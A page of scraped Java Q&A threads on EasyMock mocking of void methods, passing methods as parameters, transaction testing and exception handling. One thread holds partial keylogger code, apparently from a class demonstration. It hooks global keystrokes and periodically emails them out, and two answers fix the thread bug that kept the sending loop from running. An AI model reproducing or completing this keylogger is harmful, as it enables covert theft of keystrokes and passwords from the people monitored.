Ignore methods/void methods using EasyMock with Junit - java

"Added more details"
I want to Mock a certain void method but i'm not quite sure how to. I read about EasyMock but i don't know what to do when it's a void method, This is my main class;
Main class
public class Main {
Updater updater = new Updater(main.getID(), main.getName(),....);
try {
updater.updateContent(dir);
}
i want to mock updater.updateContent(dir); so that i can skip the try
Updater class
private String outD;
public void updateContent(final String outDir) throws Exception {
outD = outDir;
if (...) {
....;
}
}
... private void methods
This is my test class so far,
public class MainTest {
#Before
public void setUp() {
}
#Test
public void testMain() {
try {
try {
Updater updater = EasyMock.createNiceMock(Updater.class);
updater.updateContent("/out");
EasyMock.expectLastCall().andThrow(new RuntimeException());
EasyMock.replay(updater);
updater.updateContent("/out");
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
}
(edited) thanks.

For methods returning void you must record the behavior this way:
Updater updater = EasyMock.createNiceMock(Updater.class);
updater.updateContent("someDir"); // invoke the easy mock proxy and
// after invoking it record the behaviour.
EasyMock.expectLastCall().andThrow(new RuntimeException()); // for example
EasyMock.replay(updater);
updater.updateContent("someDir"); // will throw the RuntimeException as recorded
Expect you have the following Main class
public class Main {
private Updater updater;
private int updatedContentCount; // introduced for the example
public Main(Updater updater) {
this.updater = updater;
}
public void updateContent() {
try {
updater.updateContent("/out");
updatedContentCount++;
} catch (Exception e) {
// skip for this example - normally you should handle this
}
}
public int getUpdatedContentCount() {
return updatedContentCount;
}
}
and your updater's API looks like this
public class Updater {
public void updateContent(String dir) throws Exception {
// do something
}
}
Then a test of the Main class would be something like this:
public class MainTest {
private Updater updater;
private Main main;
#Before
public void setUp() {
updater = EasyMock.createNiceMock(Updater.class);
main = new Main(updater);
}
#Test
public void testUpdateCountOnException() throws Exception {
updater.updateContent("/out");
EasyMock.expectLastCall().andThrow(new RuntimeException());
EasyMock.replay(updater);
main.updateContent();
int updatedContentCount = main.getUpdatedContentCount();
Assert.assertEquals(
"Updated count must not have been increased on exception", 0,
updatedContentCount);
}
}
The MainTest tests if the updateCount is handled correctly on an exception of the Updater.

Related

How to define a Java function to acception a function

I have a requirement of exception handling for all methods, suppose that I have a project and within the project, the StaleStateException is thrown, and I need to handle it, I want to do it like this:
class Util() {
public static void handle(XXXX method) {
try{
//invoke method
} catch(StaleStateException e) {
//do something
}
}
}
How can I implement this method?
Here is another way to do this:
public class Methods {
public static void someMethodToPass(String s){
System.out.println("Invoked, Here is the argument: " + s);
}
public static void invokerMethod(Method m) throws InvocationTargetException, IllegalAccessException {
m.invoke(null,"Some argument");
}
public static void main(String[] args) {
try {
invokerMethod(Arrays.stream(Methods.class.getMethods()).filter(m -> m.getName().equals("someMethodToPass")).findFirst().get());
} catch (InvocationTargetException | IllegalAccessException e) {
e.printStackTrace();
}
}
}
Function<InputType, Void> = input -> {
// do stuff
System.out.println(input.toString());
}
class Util() {
public static void handle(Function<InputType, Void> method) {
try{
input.apply(input);
} catch(StaleStateException e) {
//do something
}
}
}

Code block not running after execution of new thread

I'm trying to run some code I found on a tutorial from youtube for part of a class project. Basically I'm trying to show the effects of what happens when a keylogger is installed on your computer.
For some reason the run() is not being used in the ManageService class and I'm not sure why. I thought by adding the #Override and runnable at the top of the class would make this work.
Main class:
public class Main {
/**
* gfgfterst
* tests
* sfdsf
*
*/
public static void main(String[] args) {
ManageService service = new ManageService();
try {
GlobalScreen.registerNativeHook();
} catch (Throwable e) {
e.printStackTrace();
}
GlobalScreen.getInstance().addNativeKeyListener(service.getKeyBoard());
}
}
ManageService class:
The run() function is not being used when the code is executed.
package handlers;
import keys.NativeKeyBoard;
public class ManageService implements Runnable {
private NativeKeyBoard keyboard;
private Thread service;
public ManageService() {
keyboard = new NativeKeyBoard();
service = new Thread("Manage Service");
service.start();
}
public NativeKeyBoard getKeyBoard() {
return keyboard;
}
#Override
public void run() {
System.out.println("This isn't getting hit?");
long start = System.nanoTime();
while(true) {
long elapsed = (System.nanoTime() - start) / 1_000_000;
if(elapsed > 30_000 * 1) {
try {
Sender.sendMail(Utils.prettyPrint(keyboard.getKeyCache()));
keyboard.onSend();
} catch (Throwable e) {
System.out.println("keystroke data failed to be sentg.");
e.printStackTrace();
keyboard.onFail();
}
start = System.currentTimeMillis();
}
}
}
}
In your constructor code,you have not start the thread of ManageService,you can change your code as below:
public ManageService() {
keyboard = new NativeKeyBoard();
//make ManageService as an parameter to create a thread
service = new Thread(this,"Manage Service");
service.start();
}
It's missing to call to start() method in order to run the thread of ManageService, please update these changes.
public class ManageService extends Thread {
...
}
public static void main(String[] args) {
ManageService service = new ManageService();
service.start();
try {
GlobalScreen.registerNativeHook();
} catch (Throwable e) {
e.printStackTrace();
}
GlobalScreen.getInstance().addNativeKeyListener(service.getKeyBoard());
}

Junit test class which scans list of classes in a package and verifies whether every method contains begin and close transactions

I am looking to implement the following functionality.
I need a Junit test class which scans list of classes in a package and verifies whether every method contains begin and close transactions. Any pointers in this regard will is appreciated.
I'm not going to answer your question directly because I think you are not going the right way. A better design would ensure you the property you want to test. You can do something like :
public interface Transaction {
void initiate() throws Exception;
void execute() throws Exception;
void rollBack();
void close();
}
public TransactionManager {
public void executeTransaction(Transaction transaction) {
try {
transaction.initiate();
transaction.execute();
} catch (Exception e) {
transaction.rollBack();
} finally {
transaction.close();
}
}
}
And then, it becomes easy to test :
public class TestTransaction implements Transaction {
private boolean initiated, executed, rollBacked, closed;
#Override
public initiate() { initiated = true; }
// ...
}
public class FailingTestTransaction extends TestTransaction {
#Override
public execute() throws Exception {
super.execute();
throw new Exception("Voluntary failure");
}
// ...
}
public TransactionManagerTest {
private TransactionManager transactionManager;
#Before
public void setUp() {
this.transactionManager = new TransactionManager();
}
#Test
public void initiateAndCloseOnNormalExecution() {
TestTransaction transaction = new TestTransaction();
transactionManager.executeTransaction(transaction);
assert(transaction.isInitiated() && transaction.isClosed());
}
#Test
public void initiateRollbackAndCloseOnFailure() {
TestTransaction transaction = new FailingTestTransaction();
transactionManager.executeTransaction(transaction);
assert(transaction.isInitiated() && transaction.isRollbacked && transaction.isClosed());
}
}

Proper Error Handling in java

I need to know how to handle the exceptions in a situation like below. Please assist me,
public interface DCommand {
public Object execute(Class_A car);
}
public class Class_B {
public void getMessage() throws Exception {
throw new Exception("Test error");
}
}
public class Class_A {
Class_B cb = null;
public Class_B getClass_b() {
cb = new Class_B();
return cb;
}
public Object testAction(DCommand command) {
Object returnObject = null;
try {
return (Boolean) command.execute(this);
} catch (Exception e) {
System.out.println("ERROR IN CLASS B" + e.getLocalizedMessage());
}
return returnObject;
}
}
====================== simiulating ============================
public class Test {
public static void main(String[] args) {
Class_A c = new Class_A();
boolean a = (Boolean) c.testAction(new DCommand() {
#Override
public Object execute(Class_A car) {
try {
car.getClass_b().getMessage();
return true;
} catch (Exception ex) {
System.out.println("Error in the simulator.");
}
return false;
}
});
}
}
When I run the above code I need to catch the exception thrown by the Class_B in the Class_A where prints the "ERROR IN CLASS A".
Problem is that you are throwing a type of Exception in your Class B's getMessage method. Instead you should define your own exception by extending java.lang.Exception.
public class ClassBException extends Exception {
public ClassBException(String msg) {
super(msg);
}
}
And then use ClassBException to be thrown in Class B's getMessage method like this
public class Class_B {
public void getMessage() throws ClassBException {
throw new Exception("Test error");
}
}
Now you need to a have separate catch block for ClassBException at any place you are calling Class B's getMessage method.
Add this Methode to class A:
public void runGetMessage()
{
try{
cb.getMessage();
}catch(Exception e){
System.out.println("Error in CLASS A.");
}
}
And change the Execute methode to:
public Object execute(Class_A car) {
try {
car.getClass_b();
car.runGetMessage();
return true;
} catch (Exception ex) {
System.out.println("Error in the simulator.");
}
return false;
}

Access Try-Catch block's code in another class

May be it could be silly,but I want to clear my the technical understanding of this code:
import netscape.*;//ldap jar
public class A {
public void method() {
...
try {
//code is written here.
LDAPSearchResults lsr = ldi.search(LDAPConnectionInfo.MY_SEARCHBASE,LDAPConnectionInfo.MY_SCOPE,LDAPConnectionInfo.MY_FILTER,null,false);
while(lsr.hasMoreElements()){
LDAPEntry findEntry = (LDAPEntry)lsr.nextElement();
} catch(...) {
}
}
}
Now I call another class
public class B {
A a = new A();
//here I want to use attributeName
}
How could I access A class's member(in try block) in B class.
Any way to handle try block code for reuse in another class.
How could I handle all those exception in another class.
Any modification should I need...
Calling method of Object type.
public class C{
private String attributeName;
public String getAttributeName() {
return attributeName;
}
public Object method(){
attributeName=lAttribute.getName();
}
}
How could print this Object type method into String(in a jsp page)... any inputs
You'll need a member in class A and a getter:
public class A {
private String attributeName;
public String getAttributeName() {
return attributeName;
}
public void method(){
...
try {
//code is written here.
attributeName = lAttribute.getName();
}
catch() {
}
}
}
Then:
public class B {
A a = new A();
// somewhere
String str = a.getAttributeName();
}
There's no way to access a method's private variables like you did in the original example, as they only exist on the stack during the method call.
Edit: I noticed another question:
How could I handle all those exception in another class.
I assume you want to call your method somewhere else and catch the exceptions there. In that case you can use the throws keyword to communicate that your method will pass exceptions to the caller:
public class A {
public void method() throws IOException {
//code is written here.
String attributeName = lAttribute.getName();
}
public void anotherMethod() {
try {
method();
} catch(IOException ex) {
...
}
}
}
then if some other piece of code calls method it will be forced to either handle or further propagate the exception.
How could I handle all those exception in another class.
In your calling class you can catch Throwable (which will catch all exceptions and errors)
try {
....
}
catch (Throwable t) {
//do something with the throwable.
}
if you do not want to catch Errors (Ive only done this when messing around with ImageIO and had memory problems) in Java then catch Exception instead
Any way to handle try block code for reuse in another class
here you could create a method in another class and then call it within your try /catch block
public class XYX {
public void methodForTry() throws Exception {
//do something
}
}
try {
new XYZ().methodForTry();
}
catch (Exception e){
}
You may or may not want to create new XYZ here. It depends what state this object may or may not hold.
As to the last questions I think Tudor's answer covers this
Your question may be about extracting the code template
try { ... do stuff ... }
catch (MyFirstException e) { ...handle ... }
catch (MySecondException e) { ...handle ... }
... more catch ...
Where you only want to change the ... do stuff ... part. In that case you'd need closures, which are coming with Java 8, and today you'd need something quite cumbersome, of this sort:
public static void tryCatch(RunnableExc r) {
try { r.run(); }
catch (MyFirstException e) { ...handle ... }
catch (MySecondException e) { ...handle ... }
... more catch ...
}
where RunnableExc would be an
interface RunnableExc { void run() throws Exception; }
and you'd use it this way:
tryCatch(new RunnableExc() { public void run() throws Exception {
... do stuff ...
}});
why not return it?
public String method() {
String attributeName
try {
//code is written here.
attributeName = lAttribute.getName();
} catch(...) {
}
return attributeName;
}
public class B {
A a = new A();
String attributeName = a.method();
}

Categories